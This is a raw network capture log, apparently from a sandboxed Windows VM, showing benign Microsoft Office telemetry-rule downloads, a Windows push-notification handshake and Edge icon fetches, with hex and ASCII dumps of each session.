2024-11-23 04:02:51 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040251Z-178bfbc474bbcwv4hC1NYCypys00000003x00000000001pc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:51 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:51 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6f884587-b01e-0001-3155-3c46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040251Z-15b8b599d882l6clhC1TEBxd5c00000002bg0000000054fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:51 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:51 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: c8277487-201e-0051-68a5-3b7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040251Z-15b8b599d88f9wfchC1TEBm2kc00000002hg000000008fyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49882	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:52 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 50 77 78 76 62 63 54 68 56 30 43 66 63 41 59 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 61 31 33 37 33 37 35 38 65 63 37 64 34 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: PwxvbcThV0CfcAYz.1Context: 9ba1373758ec7d4e
2024-11-23 04:02:52 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 04:02:52 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 50 77 78 76 62 63 54 68 56 30 43 66 63 41 59 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 61 31 33 37 33 37 35 38 65 63 37 64 34 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 62 46 66 49 61 38 42 37 7a 2f 45 70 43 53 31 4d 59 50 62 64 39 73 4c 36 37 54 6a 70 52 2f 41 78 6e 53 6d 50 56 4e 6e 32 68 59 35 73 54 6d 53 65 64 47 4c 35 6a 53 74 71 42 58 2f 34 74 42 73 42 67 78 4a 6e 74 57 59 64 57 39 43 76 53 38 76 44 37 76 55 48 69 78 72 4a 5a 2b 4f 4c 77 41 38 79 48 66 37 6b 5a 30 43 6e 2b 49 33 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: PwxvbcThV0CfcAYz.2Context: 9ba1373758ec7d4e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYbFfIa8B7z/EpCS1MYPbd9sL67TjpR/AxnSmPVNn2hY5sTmSedGL5jStqBX/4tBsBgxJntWYdW9CvS8vD7vUHixrJZ+OLwA8yHf7kZ0Cn+I38
2024-11-23 04:02:52 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 50 77 78 76 62 63 54 68 56 30 43 66 63 41 59 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 61 31 33 37 33 37 35 38 65 63 37 64 34 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: PwxvbcThV0CfcAYz.3Context: 9ba1373758ec7d4e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 04:02:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 04:02:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 70 5a 46 2b 4d 42 6b 67 55 61 65 35 70 31 37 56 70 51 66 6a 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: hpZF+MBkgUae5p17VpQfjA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49890	13.107.246.40	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:52 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:53 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:53 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 3792c254-001e-004e-6b5c-3dade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040253Z-178bfbc474bq2pr7hC1NYCkfgg00000003z000000000n1e8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 04:02:53 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49886	13.107.246.40	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:52 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:53 UTC	516	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:53 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 59ab5595-d01e-0021-765c-3d0536000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040253Z-174c587ffdfb485jhC1TEBmc1s00000002900000000066ne Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 04:02:53 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49889	13.107.246.40	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:52 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:53 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:53 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 3de0ab41-e01e-004f-365c-3dac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040253Z-174c587ffdfn4nhwhC1TEB2nbc00000002e000000000f7xt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 04:02:53 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49891	13.107.246.40	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:52 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:53 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:53 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 4a51215c-501e-003b-2b2a-3d2a59000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040253Z-178bfbc474brk967hC1NYCfu6000000003n000000000nef6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:53 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49887	13.107.246.40	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:52 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:53 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:53 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 262987a9-101e-003c-042a-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040253Z-178bfbc474bmqmgjhC1NYCy16c00000003wg00000000p3w8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:53 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49888	13.107.246.40	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:52 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:53 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:53 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: c816c809-401e-0042-031e-3d4313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040253Z-178bfbc474bvjk8shC1NYC83ns00000003pg00000000q6hk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:53 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

